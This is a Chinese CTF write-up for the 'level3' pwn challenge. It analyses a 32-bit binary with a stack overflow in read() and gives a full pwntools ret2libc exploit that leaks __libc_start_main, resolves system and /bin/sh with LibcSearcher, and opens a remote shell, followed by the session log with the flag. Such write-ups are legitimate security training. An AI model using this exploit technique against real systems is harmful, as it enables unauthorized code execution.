level3--writeup

原创

ATFWUS 于 2020-03-02 13:50:20 发布 407 收藏
分类专栏： CTF-PWN # 攻防世界-pwn -- WriteUp 文章标签： CTF PWN 栈溢出 libc 攻防世界

CTF-PWN 同时被 2 个专栏收录
33 篇文章 5 订阅
订阅专栏

攻防世界-pwn -- WriteUp
15 篇文章 0 订阅
订阅专栏

文件下载地址：

链接：https://pan.baidu.com/s/1ByM1Dbt5j7Gw9mNkWryAVA
提取码：pqzc

目录

0x01.分析

checksec：

```
root@at-ubuntu:/home/atfwus/rop# checksec level3
[*] '/home/atfwus/rop/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
root@at-ubuntu:/home/atfwus/rop#
```

32位程序，开启了NX。

查看源码：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}
```

```
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}
```

程序流程：

流程很简单，程序先输入，然后我们输入。

漏洞利用：

1. 很明显read处栈溢出。
2. 计算得到栈溢出的偏移量为140。
3. 寻找system函数或/bin/sh。
4. 没有找到上述。
5. 题目提供了一个libc文件，提示也是libc。
6. 我们想到泄露libc基址的办法。
7. 泄露一个已经执行过的函数，这里选用__libc_start_main。
8. 利用存在的函数把这个要泄露的函数的地址打印出来。
9. 接收地址，并使用LibcSearcher工具查询libc版本。（也可以用一个网站，应该题目提供的libc文件有用，但我没有用到）。
10. 计算出libc的基址，并求得sytem和/bin/sh得地址。
11. 控制程序返回到main函数，再进行一次栈溢出，执行system函数，得到shell。

0x02.exp

```
##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher

r=remote("111.198.29.45",36406)
#r=process('./level3')
elf=ELF('./level3')

write_plt=elf.plt['write']
libc_start_main_got=elf.got['__libc_start_main']
main=elf.symbols['_start']

payload=flat([140*'A',write_plt,main,1,libc_start_main_got,4])
r.sendlineafter("Input:\n",payload)

libc_start_main_adr=u32(r.recv()[0:4])

libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')

system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')

payload=flat([140*'A',system_adr,0,bin_sh_adr])
r.sendline(payload)
r.interactive()
```

```
root@at-ubuntu:/home/atfwus/rop# python explevel3.py
[+] Opening connection to 111.198.29.45 on port 36406: Done
[*] '/home/atfwus/rop/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Multi Results:
 0: archive-glibc (id libc6_2.23-0ubuntu3_i386)
 1: archive-glibc (id libc6-i386_2.23-0ubuntu3_amd64)
 2: ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu10_i386)
 3: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
Please supply more info using
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:3
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[*] Switching to interactive mode
Input:
$ ls
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
cyberpeace{ef021cc2f7237e15901013eebfc2c566}
$
```


0x03.说明

题目提供了libc文件，但我暂时不知道怎么使用，应该是用于查询libc版本的。

用LibcSearcher会有多种可能，并且本地测试，和服务器测试都不一样的。

由于种数比较少，我就直接一个个试，最后得到正确的libc版本，获取shell。